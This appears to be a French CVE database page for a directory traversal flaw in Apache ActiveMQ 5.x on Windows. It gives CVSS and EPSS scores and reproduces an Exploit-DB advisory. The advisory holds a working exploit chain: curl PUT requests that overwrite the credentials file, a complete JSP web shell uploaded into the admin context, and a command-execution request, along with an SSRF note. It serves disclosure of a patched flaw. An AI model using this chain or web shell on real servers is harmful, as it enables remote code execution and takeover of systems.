CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Directory traversal vulnerability in the fileserver upload/download functionality for blob messages in Apache ActiveMQ 5.x before 5.11.2 for Windows allows remote attackers to create JSP files in arbitrary directories via unspecified vectors.
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
5
AV:N/AC:L/Au:N/C:N/I:P/A:N
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
82.75%
–
–
2022-02-13
–
–
82.75%
–
–
2023-03-12
–
–
–
3.3%
–
2024-02-11
–
–
–
3.3%
–
2024-06-02
–
–
–
3.3%
–
2024-06-09
–
–
–
4.59%
–
2024-07-28
–
–
–
6.91%
–
2024-12-29
–
–
–
9.46%
–
2025-01-19
–
–
–
9.46%
–
2025-03-18
–
–
–
–
88.72%
2025-03-30
–
–
–
–
88.72%
2025-03-30
–
–
–
–
88.72,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2015-08-16 22h00 +00:00 Auteur : David Jorm EDB Vérifié : Yes
I have recently been playing with Apache ActiveMQ, and came across a simple but interesting directory traversal flaw in the fileserver upload/download functionality.
I have only been able to reproduce this on Windows, i.e. where "\" is a path delimiter.
An attacker could use this flaw to upload arbitrary files to the server, including a JSP shell, leading to remote code execution.
Exploiting Windows systems to achieve RCE The default conf/jetty.xml includes:
<bean class="org.eclipse.jetty.security.ConstraintMapping" id="securityConstraintMapping">
<property name="constraint" ref="securityConstraint">
<property name="pathSpec" value="/api/*,/admin/*,*.jsp">
</property></property>
</bean>
Effectively blocking the upload of JSP files into contexts that will allow them to execute.
I imagine there are many ways around this; for my proof of concept I opted to overwrite conf/jetty-realm.properties and set my own credentials:
$ cat jetty-realm.properties hacker: hacker, admin
$ curl -v -X PUT --data "@jetty-realm.properties" http://TARGET:8161/fileserver/..\\conf\\jetty-realm.properties
This seems to have the disadvantage of requiring a reboot of the server to take effect.
I am not sure if that is always the case, but if so, I'm pretty sure there is some other workaround that wouldn't require a reboot.
The attacker can then take a standard JSP shell:
$ cat cmd.jsp
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
Upload it, exploiting the "..\" directory traversal flaw to put it into an executable context:
$ curl -u 'hacker:hacker' -v -X PUT --data "@cmd.jsp" http://TARGET:8161/fileserver/..\\admin\\cmd.jsp
And pop a calc on the server:
$ curl -u 'hacker:hacker' -v -X GET http://TARGET:8161/admin/cmd.jsp?cmd=calc.exe
Exploiting non-Windows servers
All attempts at directory traversal on a Linux system failed - encoded, double encoded, and UTF-8 encoded "../" were all caught by Jetty. Only "..\" worked.
That said, clients can specify the uploadUrl for a blob transfer, e.g.:
tcp://localhost:61616?jms.blobTransferPolicy.uploadUrl=http://foo.com
An attacker able to enqueue messages could use this to perform server side request forgery to an arbitrary uploadUrl target, even when running on non-Windows servers.
Resolution
The ActiveMQ project has released an advisory and patches.
This is not the first instance of such a flaw in an open source Java application; CVE-2014-7816 comes to mind.
It demonstrates that while Java may be platform independent, many developers are used to developing for a particular OS, and don't necessarily take cross-platform concerns into account.